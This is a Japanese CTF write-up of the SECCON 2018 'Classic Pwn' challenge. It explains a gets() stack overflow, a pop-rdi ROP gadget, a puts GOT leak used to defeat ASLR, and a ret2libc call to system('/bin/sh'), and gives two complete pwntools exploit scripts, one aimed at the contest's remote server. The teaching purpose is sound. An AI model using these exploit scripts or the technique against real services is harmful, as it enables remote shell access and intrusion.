めちゃくちゃ遅れてきたSECCON2018 Writeup

今更SECCON 2018 Writeup (Classic Pwn)

おっそーって感じですがSECCON2018の解いたやつ上げてなかったのでこのタイミングで書いておきます。 というか他にも上げてないままのWriteupがある気がする。

まぁ年始やしゆるして…

解説というよりかは、自分がどのような思考を推移させ解いたかという経緯を述べていこうかなと思います。 というかROPとかret2libc自体の解説になってる気がする。ままええわ。

動かしてるデバッガはgdbにpeda という拡張を入れてるものを使っています。 あとExploit CodeはPython使ってます。

まずfileとかobjdumpとかで見てみる

$ file ./classic_aa9e979fd5c597526ef30c003bffee474b314e22
classic_aa9e979fd5c597526ef30c003bffee474b314e22: ELF 64-bit LSB executable,  x86-64,  version 1 (SYSV),  dynamically linked (uses shared libs),  for GNU/Linux 2.6.32,  BuildID[sha1]=a8a02d460f97f6ff0fb4711f5eb207d4a1b41ed8,  not stripped
// ELFだね〜とか64bitだね〜とか確認

$ ./classic_aa9e979fd5c597526ef30c003bffee474b314e22
Classic Pwnable Challenge
Local Buffer >> hoge
Have a nice pwn!!
// 実行してみる。なんか入力受け取っておわるだけっぽい

$ checksec --file ./classic_aa9e979fd5c597526ef30c003bffee474b314e22
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               4       ./classic_aa9e979fd5c597526ef30c003bffee474b314e22
// それぞれの意味は省略。とりあえずCANARYがないのでBOF検知はされないとかNX有効だからシェルコード実行は難しいとか確認

$ objdump ./classic_aa9e979fd5c597526ef30c003bffee474b314e22 -D | less
// ディスアセンブルして見てみよう
// 表記法を変えたいならobjdumpのオプションに-M intel付けましょう
// (手がobjdumpと打ってしまう。radareとかIDAとか各々好きなの使おうな)

ディスアセンブル結果のmain関数部分だけ載っけておきます。 好みの問題でintel記法にしてます。

00000000004006a9 <main>:
  4006a9:       55                      push   rbp
  4006aa:       48 89 e5                mov    rbp,rsp
  4006ad:       48 83 ec 40             sub    rsp,0x40
  4006b1:       bf 74 07 40 00          mov    edi,0x400774
  4006b6:       e8 65 fe ff ff          call   400520 <puts@plt>
  4006bb:       bf 8e 07 40 00          mov    edi,0x40078e
  4006c0:       b8 00 00 00 00          mov    eax,0x0
  4006c5:       e8 76 fe ff ff          call   400540 <printf@plt>
  4006ca:       48 8d 45 c0             lea    rax,[rbp-0x40]
  4006ce:       48 89 c7                mov    rdi,rax
  4006d1:       e8 8a fe ff ff          call   400560 <gets@plt>
  4006d6:       bf 9f 07 40 00          mov    edi,0x40079f
  4006db:       e8 40 fe ff ff          call   400520 <puts@plt>
  4006e0:       b8 00 00 00 00          mov    eax,0x0
  4006e5:       c9                      leave
  4006e6:       c3                      ret
  4006e7:       66 0f 1f 84 00 00 00    nop    WORD PTR [rax+rax*1+0x0]
  4006ee:       00 00

さてmain内で大体どういうことしてるかを確認するために関数呼出しに注目します

  • putsをcall
  • printfをcall
  • getsをcall
  • putsをcall

って感じ

gets関数使ってるんでおそらくバッファオーバーフローさせてリターンアドレス書換えするんだろうなと、まず試してみました。 何バイト入力すればリターンアドレス書換えできるか調べましょう。

gdb ./classic_aa9e979fd5c597526ef30c003bffee474b314e22
// 適当に100文字入れてみる
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ run
Classic Pwnable Challenge
Local Buffer >> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL)
(省略)
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd7e8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffd7f0 ("AJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffd7f8 ("AAKAAgAA6AAL")
0024| 0x7fffffffd800 --> 0x4c414136 ('6AAL')
0032| 0x7fffffffd808 --> 0x4006a9 (<main>:      push   rbp)
0040| 0x7fffffffd810 --> 0x0
0048| 0x7fffffffd818 --> 0x6e3b5cb487bb68b3
0056| 0x7fffffffd820 --> 0x400580 (<_start>:    xor    ebp, ebp)
[------------------------------------------------------------------------------]
Legend: code,  data,  rodata,  value
Stopped reason: SIGSEGV
0x00000000004006e6 in main ()
// リターン時にstackのてっぺんに乗ってるアドレスへ飛ぼうとしたが、
// 許可されてないアドレスのためSEGV起こした

// stackのてっぺんに乗ってる文字列をpattoコマンドに与えるとオフセットを得られる
gdb-peda$ patto IAAeAA4AAJAAfAA5AAKAAgAA6AAL
IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72

というわけでリターンアドレスまでのオフセットは72(0x48)ということがわかりました。

これでリターンアドレスを自由にイジれるということがわかりました。 IPが取れたってやつですね。

じゃあどこに飛べばいい?と言う話になりますね。

シェルを奪うには

Pwn問題はたいがいremoteのシェルを奪う(/bin/shを起動する)ことがゴールです。 この時私が考えていたのは「リターンアドレスをいじってsystem関数へ飛び/bin/shを呼ぶ」という流れです。

さて、バッファオーバーフローを起こしてリターンアドレスを弄れば好きな関数、アドレスに飛べますが、問題は引数をどう指定するかです。 64bitのLinux環境で使われるSystem V AMD64 ABIとい呼出し規約では 「第一引数はRDIレジスタを使う」のでcall前に各レジスタに突っ込んでる値を見れば引数がわかります。

例えばgets関数の手前を見てみると

lea    rax, [rbp-0x40]
mov    rdi, rax

となっており、結局はgets関数にrbp-0x40のアドレスをを与えている ということですね。

では、どうやって引数(つまりRDIレジスタ)に好きな値を入れて関数を呼出すか?

ROPをしよう

ROPが何かって話は長くなるので省略したい… まぁ簡単にいうとROP gadgetというretで終わる命令列の先頭へ繰返し飛ぶことで、任意の命令列を実行するというもの。
(って言ってもわからん人はわからんので、一旦読み進めるか適当にggってください。ごめんなさい)

そのgadgetを探すツールはいろいろあります。 gdb pedaのropgadgetコマンドでもいいのですが、今回はrp++を使いました

rp++詳細はここ→ https://github.com/0vercl0k/rp

# --ropでgadgetの最大サイズを指定できる
# rop rdi; popとかあると第一引数に値を入れることができるので嬉しい
$ rp -f classic_aa9e979fd5c597526ef30c003bffee474b314e22 --rop=5|less

で、実行してみると

0x00400753: pop rdi ; ret  ;  \x5f\xc3 (1 found)

とある。 0x00400753へ飛べば、stackに乗ってるデータをrdiへpopする、つまりrdiに入れることができる。 ret実行時には、その次に乗ってるデータがリターンアドレスとみなされるので、今度はそのアドレスへ飛びます。 以下に雑な図を作ったのですが、つまりは図中のようなスタックの状態でpop rdi;ret;と実行すればAを引数にB関数を呼べるということです。

pop rdi;ret;実行時のstack,registerの変化

このgadgetを経由することでスタック上に置いた値を引数にret先の関数を呼出すことができる。 この方法は一度きりしか使えないわけではなく、呼び出した関数先のreturnでまたgadgetに飛ぶようにスタックを作っておけば複数の関数を次々に呼び出せます。 つまり、好きな引数を与えて好きな関数を連続で呼出せちゃいます。

system関数を探す

さて好きに引数を入れて好きに関数呼べるようになったのでシェル取った気になったかもしれません。 しかし、肝心のsystem関数のアドレスがわかりません。 事前に調べればええやんと思うかも知れませんが、ASLRによって毎回異なるメモリ上のアドレスに配置されます。

どうするかというと、main内で呼出されているputs関数(getsとかprintfでもいい)のアドレスをリークさせて、system関数を特定します。 流れとしては

  1. あらかじめlibc.soからputs関数のオフセットを調べる
    • libc内の各関数のオフセットを確認する時はnm -D <libc.soファイル> |grep putsとやると簡単
  2. puts()を呼ぶ
    • これは既にmain内で呼ばれるので何もしなくてもよい
  3. puts()のアドレスがGOTのエントリに入る
    • 初回関数実行に実際のアドレスが解決され、その値がGOTのエントリに入る
    • これも何もしなくても勝手に行われる
  4. putsのGOTを引数にputs関数を呼び、その値を出力させる
    • GOTに実際の関数のアドレスが入っているのでリークさせる
  5. 出力された値(putsのアドレス)とあらかじめ調べたputsのオフセットからsystem()のアドレスを得る

GOT, PLT自体が何かって話は割愛しますが、簡単に言うと、main関数から例えばputs()をcallする時はPLTのアドレスを使って間接的にputs本体へ飛びます。 この間接的に飛ぶ時に参照するテーブルがGOTです。 初回の呼出し時に参照するGOT内のアドレスはまだ解決されていませんが、解決後は実際の関数へのアドレスが入っています。 この話だけでもう1記事できちゃうので、ふわっとした感じで説明終了。

まぁ解く分には、PLTというのはobjdumpした時に関数名の後ろに@pltとつくアドレスで、GOTはそのアドレスで最初に実行されるjumpのアドレスぐらいに思ってください。

結局どういう流れを作ればよいか

以上のように、関数を引数付けて呼出す方法と特定の関数のアドレスを取得する方法がわかりましたかね? シェルを取るまでには「system関数のアドレスを特定」「system関数を使って/bin/shを実行」という2段階に大きく分けられます。 そのためにバッファオーバーフローを2回起こすってことです。

もう少し細かく分けると以下のようになります。 あいだあいだで引数を付けて関数を呼ぶために先ほどのgadgetを経由します。

  1. 1回目のバッファオーバーフロー
    1. puts関数のアドレスをputs関数で出力させる
    2. 出力されたアドレスからsystem関数のアドレスを特定する
  2. 2回目のバッファオーバーフロー
    1. ”/bin/sh”という文字列をbss領域に書き込む
    2. system関数を呼出し/bin/shを実行

まずsystem関数を特定するためにputs関数のgotを引数にputs関数を実行するようなスタック構造が以下のようになる。

1回目のバッファオーバーフロー後のスタック

  • 0x48バイト入力してリターンアドレスの位置にgadgetを指定
  • puts関数のGOTを指定してputs関数を実行する
    • GOTのアドレスにはputs関数の本体のアドレスが入っている

そして、特定したsystem関数のアドレスに引数として/bin/shを与えて実行するようなスタック構造が以下のようになる。

2回目のバッファオーバーフロー後のスタック

  • 0x48バイト入力してリターンアドレスの位置にgadgetを指定
  • gets関数を引数にbss領域のアドレスを指定し実行する
  • gets関数実行時に”/bin/sh”を入力する
  • system関数を引数にbss領域のアドレスを指定し実行する
    • system関数のアドレスは先述の方法で特定したものを使う
    • bss領域には1つ前のgets関数実行時に入力した”/bin/sh”が入っている

手元で試す

で、問題になるのは手元の環境のlibcと提供されてるlibcのバージョンが違う場合です。 自分の場合はその2つが違っていたので「あれ?systemのアドレスが手元と渡されたlibcで違うぞ?」となりました。 アホですね。

そういう場合は、remoteと手元で動かす場合の指定するアドレスを変える、もしくは手元の環境を合わせるかのどっちかですかね。

とりあえず手元のlibcで試して、実際にremoteで実行する場合は与えられたlibcの情報を使おうと思います。

というわけで手元でシェル取れるか試しにPythonでpwntools使って以下のように書いてみました。
実際の競技中は手元でシェル取るまでの自信がないので、gdb.debug()を使って入力した後のstackやらregistersの確認しながら書きました。

以下がそのコードです

# coding:utf-8
from pwn import *

e = ELF("./classic_aa9e979fd5c597526ef30c003bffee474b314e22")
io = process(e.path)

puts_got    = p64(0x601018) # puts関数のGOT
puts_plt    = p64(0x400520) # puts関数のPLT
printf_addr = p64(0x400540) # printf関数のPLT
gets_addr   = p64(0x400560) # gets関数のPLT
gadget      = p64(0x400753) # ret rdi;retの先頭アドレス
main_func   = p64(0x4006a9) # main関数のアドレス
bss         = p64(0x601060) # BSS領域のアドレス

puts_offset = 0x6c9b0       # libc.soのputs関数のオフセット
system_offset = 0x41100     # libc.soのsystem関数のオフセット

payload  = "A"*0x48         # 72byte分スタックをぶっ壊す!!!
payload += gadget           # まず引数にputs関数のGOTを入れてputs関数を呼ぶ.
payload += puts_got         # puts_gotには解決後のputs関数のアドレスが格納されている
payload += puts_plt         # そのためputs関数でputsのアドレスが出力される
payload += main_func        # 2回目のバッファオーバーフローを起こすためmainに再び飛ぶ

io.recvuntil("Local Buffer >> ")
io.sendline(payload)        # payloadを入力
io.recvuntil("\n")

#leak puts address
leak = io.recvuntil("\n")   # puts関数のアドレスをリーク

# ごにょごにょしてsystem関数のアドレスを得る
leak = leak.strip()
puts_addr = u64(leak.ljust(8,  '\0'))
print(hex(puts_addr))
libc_base = puts_addr - puts_offset
print(hex(libc_base))
system_addr  = libc_base + system_offset
print(hex(system_addr))

payload  = "A"*0x48         # 72byte分スタックをぶっ壊す!!!
payload += gadget           # system関数に文字列"/bin/sh"を与えるために、
payload += bss              # 書込み可能な領域へその文字列を入れる必要が有る。
payload += gets_addr        # gets関数にbss領域のアドレスを引数に与え実行。
payload += gadget           # 最後はsystem関数を呼出す。
payload += bss              # 引数には"/bin/sh"が書かれているアドレス
payload += p64(system_addr) # 全て上手くいけばでshellが実行される(ワザップ)

io.recvuntil("Local Buffer >> ")
io.sendline(payload)        # payloadを入力
io.send("/bin/sh\n")        # bss領域に"/bin/sh"を書込み

# 対話モードに切り替える
io.interactive()

リモートのシェルを取る

手元でshell取れたので、remote用にコードを変えて自動でシュッとexploitしましょう。
つっても前のコードのlibcのアドレスを変更して、process()ではなくremote()を使うだけです。

で、最終的には以下のようなコードになります。

# coding:utf-8
from pwn import *

io = remote("classic.pwn.seccon.jp", 17354)

# ここはlocalもremoteも変わらず
puts_got    = p64(0x601018) # puts関数のGOT
puts_plt    = p64(0x400520) # puts関数のPLT
printf_addr = p64(0x400540) # printf関数のPLT
gets_addr   = p64(0x400560) # gets関数のPLT
gadget      = p64(0x400753) # ret rdi;retの先頭アドレス
main_func   = p64(0x4006a9) # main関数のアドレス
bss         = p64(0x601060) # BSS領域のアドレス

# libc.soのputs関数のオフセット
# 与えられたlibc.soを見て確認する
puts_offset = 0x6f690

# libc.soのsystem関数のオフセット
# 与えられたlibc.soを見て確認する
system_offset = 0x45390

payload  = "A"*0x48         # 72byte分スタックをぶっ壊す!!!
payload += gadget           # まず引数にputs関数のGOTを入れてputs関数を呼ぶ.
payload += puts_got         # puts_gotには解決後のputs関数のアドレスが格納されている
payload += puts_plt         # そのためputs関数でputsのアドレスが出力される
payload += main_func        # 2回目のバッファオーバーフローを起こすためmainに再び飛ぶ

io.recvuntil("Local Buffer >> ")
io.sendline(payload)        # payloadを入力
io.recvuntil("\n")

#leak puts address
leak = io.recvuntil("\n")   # puts関数のアドレスをリーク

# ごにょごにょしてsystem関数のアドレスを得る
leak = leak.strip()
puts_addr = u64(leak.ljust(8,  '\0'))
print(hex(puts_addr))
libc_base = puts_addr - puts_offset
print(hex(libc_base))
system_addr  = libc_base + system_offset
print(hex(system_addr))

payload  = "A"*0x48         # 72byte分スタックをぶっ壊す!!!
payload += gadget           # system関数に文字列"/bin/sh"を与えるために、
payload += bss              # 書込み可能な領域へその文字列を入れる必要が有る。
payload += gets_addr        # gets関数にbss領域のアドレスを引数に与え実行。
payload += gadget           # 最後はsystem関数を呼出す。
payload += bss              # 引数には"/bin/sh"が書かれているアドレス
payload += p64(system_addr) # 全て上手くいけばでshellが実行される(ワザップ並感)

io.recvuntil("Local Buffer >> ")
io.sendline(payload)        # payloadを入力
io.send("/bin/sh\n")        # bss領域に"/bin/sh"を書込み

# 対話モードに切り替える
io.interactive()

これをポンと叩けばshellが取れるはずです。 ただ、今はこの接続先のサービスが消えているので、実際に試すことはできません。

他の解き方

と、これまでが自分がどう解いたかについてです。 ただ他にも違う解き方がありまして、そっちの方が楽ではあります。 気になる人はOne-Gadget-RCEで調べるといいと思います(丸投げ)

おわりに

正直やってみないと理解できない部分も多いと思います。 pwn問としては一応基本的な部分なんですが、ちゃんと自分の頭の中で整理できてなかったので書いてみました。 あくまでここは私のメモ帳的なスタンスですが、誰かの理解の助けになれば幸いです。


なんか厳密さも分かりやすさも無い中途半端な記事になった気がする。 何かを説明するのはしんどい。

おわりだよー